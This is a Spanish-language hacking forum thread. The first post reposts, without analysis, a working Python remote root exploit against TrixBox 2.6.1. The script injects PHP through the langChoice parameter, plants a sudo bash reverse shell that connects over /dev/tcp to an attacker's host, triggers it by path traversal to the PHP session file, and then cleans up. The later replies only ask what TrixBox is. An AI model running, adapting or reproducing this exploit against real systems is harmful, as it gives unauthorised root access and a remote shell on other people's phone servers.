elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 21:29  


Tema destacado: Personaliza-Escoge el diseño del foro que más te guste.

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  trixBox 2.6.1 langChoice remote root exploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: trixBox 2.6.1 langChoice remote root exploit  (Leído 2,481 veces)
zerialkiller

Desconectado Desconectado

Mensajes: 34


you fuck with me... you fuck with the best


Ver Perfil WWW
trixBox 2.6.1 langChoice remote root exploit
« en: 12 Julio 2008, 23:17 »

aqui les dejo este exploit que acabo de ver en milw0rm  =)

#!/usr/bin/python
# TrixBox 2.6.1 langChoice remote root exploit
# muts from offensive-security.com
# chris from offensive-security.com
# All credits to Jean-Michel BESNARD <jmbesnard@gmail.com>
# Same same, but different.
# http://www.offensive-security.com/0day/trixbox.py.txt
##################################################################################################
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
# uname -a
# Linux trixbox1.localdomain 2.6.25.7 #4 SMP Tue Jun 17 19:35:11 EDT 2008 i686 i686 i386 GNU/Linux
##################################################################################################

import sys
from socket import *
import re
import os
from time import sleep

print ("
  • BY THE POWER OF GRAYSKULL - I HAVE THE ROOTZ0R!\r\n"
"
  • TrixBox 2.6.1 langChoice remote root exploit \r\n"
"
if (len(sys.argv)!=5):
   print "
  • Usage: %s <rhost> <rport> <lhost> <lport>" % sys.argv[0]
   exit(0)

host=sys.argv[1]
port=int(sys.argv[2])
lhost=sys.argv[3]
lport=int(sys.argv[4])


def create_post(injection):
        buffer=("POST /user/index.php HTTP/1.1 \r\n"
        "Host: 192.168.219.132 \r\n"
        "Content-Type: application/x-www-form-urlencoded \r\n"
        "Content-Length: "+str(len(injection))+"\r\n\r\n" +injection)
        return buffer

def send_post(host,port,input):
   s = socket(AF_INET, SOCK_STREAM)
   s.connect((host, port))
   s.send(input)
   output=s.recv(1024)
   s.close()
   return output

def find_sessionid(http_output):
   headers=re.split("\n",http_output)
   for header in headers:
           if re.search("Set-Cookie",header):
                     cook=header.split(" ")
         sessionid=cook[1][10:42]
                   print "
  • Session ID is %s" % sessionid
         return sessionid


print "
  • Injecting reverse shell into session file"
bash_inject="langChoice=<?php shell_exec(\"sudo /bin/bash 0</dev/tcp/"+lhost+"/"+str(lport)+" 1>%260 2>%260\");?>"
reverse=create_post(bash_inject)
raw_session=send_post(host,port,reverse)

print "
  • Extracting Session ID"
id=find_sessionid(raw_session)

print "
  • Triggering Reverse Shell to %s %d in 3 seconds" % (lhost,lport)
sleep(3)
print "
  • Skadush! \r\n
  • Ctrl+C to exit reverse shell."
tmpsession=create_post('langChoice=../../../../../../../../../../tmp/sess_'+id+'%00')
send_post(host,port,tmpsession)

print "
  • Cleaning up"
cleanup=create_post('langChoice=english')
send_post(host,port,cleanup)
send_post(host,port,cleanup)
print "
  • Done!"
En línea
darkirax

Desconectado Desconectado

Mensajes: 59


Ver Perfil
Re: trixBox 2.6.1 langChoice remote root exploit
« Respuesta #1 en: 13 Julio 2008, 00:58 »

buenas ya que pones el exploit podrias explicar que es trixbox?
En línea
Azielito
no es
CoAdmin
***
Desconectado Desconectado

Mensajes: 9.114


>.<


Ver Perfil WWW
Re: trixBox 2.6.1 langChoice remote root exploit
« Respuesta #2 en: 15 Julio 2008, 23:32 »

primeo leamos esto:
http://es.wikipedia.org/wiki/PBX

y luego este
http://es.wikipedia.org/wiki/Trixbox

y espero no equivocarme :D
En línea

darkirax

Desconectado Desconectado

Mensajes: 59


Ver Perfil
Re: trixBox 2.6.1 langChoice remote root exploit
« Respuesta #3 en: 16 Julio 2008, 15:47 »

ok gracias luego lo leo
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Comtrend ADSL Router CT-5367 C01_R12 Remote Root
Bugs y Exploits
elforero 1 1,641 Último mensaje 25 Abril 2011, 11:43
por Ca0s
Root Exploit 2.6.32 -42.1
Nivel Web
BackBone 0 1,385 Último mensaje 17 Julio 2011, 02:52
por BackBone
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines